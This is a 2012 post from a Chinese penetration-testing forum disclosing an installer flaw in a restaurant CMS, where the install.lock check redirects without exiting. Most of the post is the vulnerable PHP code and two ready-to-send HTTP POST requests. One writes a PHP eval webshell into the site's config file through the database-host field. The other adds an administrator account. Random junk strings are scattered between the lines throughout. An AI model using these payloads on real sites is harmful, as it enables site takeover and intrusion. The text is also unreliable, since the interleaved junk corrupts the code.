中国网络渗透测试联盟
标题:
口福科技餐厅cms漏洞(可getshell)
[打印本页]
作者:
admin
时间:
2012-12-4 11:13
标题:
口福科技餐厅cms漏洞(可getshell)
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
0 v. @. `! t/ K9 Q! v2 O# ^
% _( j# y* Y9 n! T" K+ C
<?php
( `4 s; m% f4 {
if(file_exists("../install.lock"))
0 e: L; F2 | B! X" S! ?8 o
{
X8 W/ a" m" `9 d! M
header("Location: ../");//没有退出
* O4 E+ J, W) n' q
}
$ K! d0 Z: j# q: R8 Z. `, g G' ]
0 F1 I. |7 k* I% M9 l6 b x7 d
//echo 'tst';exit;
' q% x+ G, j. O* ]3 s+ Z3 ] K
require_once("init.php");
! ?6 I6 A5 {+ r7 q6 L
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
5 z: X8 v5 S1 @
{
. D0 @6 K" e# h' a9 E- b8 m
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
' U$ m+ x9 g* v4 Q) L( m
1 e, Y7 |" o9 j6 r2 _8 c
1、getshell(很危险)
) K) b2 H9 a: U, n
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
' X7 ]7 i, }2 C. _8 j, W4 x
{
. T( N# [- T% k, E s
$smarty->assign("step",1);
5 a* x) V2 O6 w/ {- r0 u2 \: W
$smarty->display("index.html");
& T4 S) T% P C X4 U; \$ r
}elseif($_REQUEST['step']==2)
! M+ p: Y2 q1 y1 a
{
" D& }3 ]% H3 [; J* z# y
$mysql_host=trim($_POST['mysql_host']);
1 Q6 l# c$ D, o9 p
$mysql_user=trim($_POST['mysql_user']);
0 t. D3 `9 C; b8 ^/ l
$mysql_pwd=trim($_POST['mysql_pwd']);
7 f6 i) P2 B( h. I+ F) D$ P
$mysql_db=trim($_POST['mysql_db']);
7 v! ^& l0 Q" c4 k9 N: s. p ^
$tblpre=trim($_POST['tblpre']);
4 E2 k7 g$ ]& K' e$ q
$domain==trim($_POST['domain']);
. U3 }5 s7 K7 T% Y# ^+ |
$str="<?php \r\n";
- X0 o) H( J* r1 f* M. w& `
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
+ B! A$ [% g U2 t
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
( r1 g# w) Q; ~' b
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
" y4 g' B2 h6 a* O- A9 R% P
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
\, l2 ^. U$ v5 U
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
5 m5 F/ {! ~0 L+ K+ H' i
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
. |, h4 h( E0 J7 k& M' E6 N
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
, h S# q! c/ y' {" c$ G
$str.='define("SKINS","default");'."\r\n";
y% F1 `0 I' x- O" \
$str.='?>';
$ q2 u9 ?6 Z2 `2 Z% P
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
3 M/ ~7 U3 Y% r9 i
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
x* [+ T( \5 Z; ]; |
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
) O! |4 O$ C& m) g
Host: 192.168.80.129
$ S3 @( m( z1 `7 f4 h. C
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
) W W. k) |9 i; @5 I+ C! w9 O
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
) O, u- w: b: ?8 [( y
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
* `# D0 k$ g$ j2 F6 g
Accept-Encoding: gzip, deflate
+ d% u% q' s* j) [1 d
Referer:
http://192.168.80.129/canting/install/index.php?step=1
' f* I. w T/ n3 b3 p2 V+ I0 K" h
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
- p' d4 A2 r) W1 V1 w. m$ |. N
Content-Type: application/x-www-form-urlencoded
' x% ^0 S; W1 j) m+ N$ k
Content-Length: 126
: h1 l/ P* J: L; N& E; ?
$ M1 F. E0 m" g% y' C& e
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
" d [" p% X! q) d5 J: W+ ^
但是这个方法很危险,将导致网站无法运行。
@; V, ]: A7 ~9 T7 \& @2 Q
! F9 W2 F- P! R7 \3 {" c
2、直接添加管理员
1 r, U, o+ l/ T$ r9 p
4 r+ H& |& \( v; k9 M' t) `9 f
elseif($_REQUEST['step']==5)
6 U9 Z7 f3 f/ {5 C& S( U8 f+ k0 }
{
5 H0 {- G; z& Q* `7 q! E3 M0 l
if($_POST)
" y+ s) i& g" `9 v9 q
{ require_once("../config/config.inc.php");
$ E' E% r: S; W
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
2 _+ L! j8 t( H A( l: j: \- D
mysql_select_db(MYSQL_DB,$link);
_ o4 i0 @2 L( H7 |& Q% [
mysql_query("SET NAMES ".MYSQL_CHARSET );
( D. \# r0 S) {& r0 j4 Q# e
mysql_query("SET sql_mode=''");
& k; @, v2 U& w+ |
i( E2 ~5 b6 o$ B8 D- e
$adminname=trim($_POST['adminname']);
, M$ H: j& j- Y. q
$pwd1=trim($_POST['pwd1']);
- n1 o( f+ z" B2 W5 A6 ? g' v
$pwd2=trim($_POST['pwd2']);
: q- o' n8 W$ P8 ?1 I' v: Z! Q' Y
if(empty($adminname))
$ [) c# Z5 F; g* g0 r& g- _9 `
{
' q8 w8 R$ h( l0 Q# D* g* o' C
/ V) R& U; X0 s
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
2 H- b8 s9 k% B2 ]6 r9 a2 s
exit();
. V8 ~" u$ W8 q ?5 W
}
' D. g9 Q* V# |0 Q
if(($pwd1!=$pwd2) or empty($pwd1))
9 Q0 h3 B6 ]+ H2 K' y) C8 S
{
, ]3 o0 L" I8 h7 O4 R% ]% s" m
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
2 a' w' s. T- O) O
}
?# h( J( V' z* L
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
5 n* j% J& Y7 n* S8 ^7 {
}
/ U' E; [0 z. T3 f! ]5 V
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
. [& l2 A% }1 _! H5 B
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
- K$ D4 V+ K3 {/ J7 ?& n/ ^
Host: 192.168.80.129
3 A- |9 \6 G w% U" N& v; b
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
9 \; A3 q; p2 x7 _
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
" t4 r i& U8 F
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
3 o1 v- g5 X6 }( ?; [
Accept-Encoding: gzip, deflate
/ p# n# ^: F: {; g" y* H( R
Referer:
http://www.2cto.com
/canting/install/index.php?step=1
+ L& F5 h+ @/ _; \% T
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
+ ~& p4 o+ }5 h
Content-Type: application/x-www-form-urlencoded
5 N7 T5 n, n( b8 x) D6 t l
Content-Length: 46
$ R4 u g5 I0 }5 ]& `! q" ]; F
* @! u. h* |/ K3 {
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
/ h- Y2 n. U4 @" }- \
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2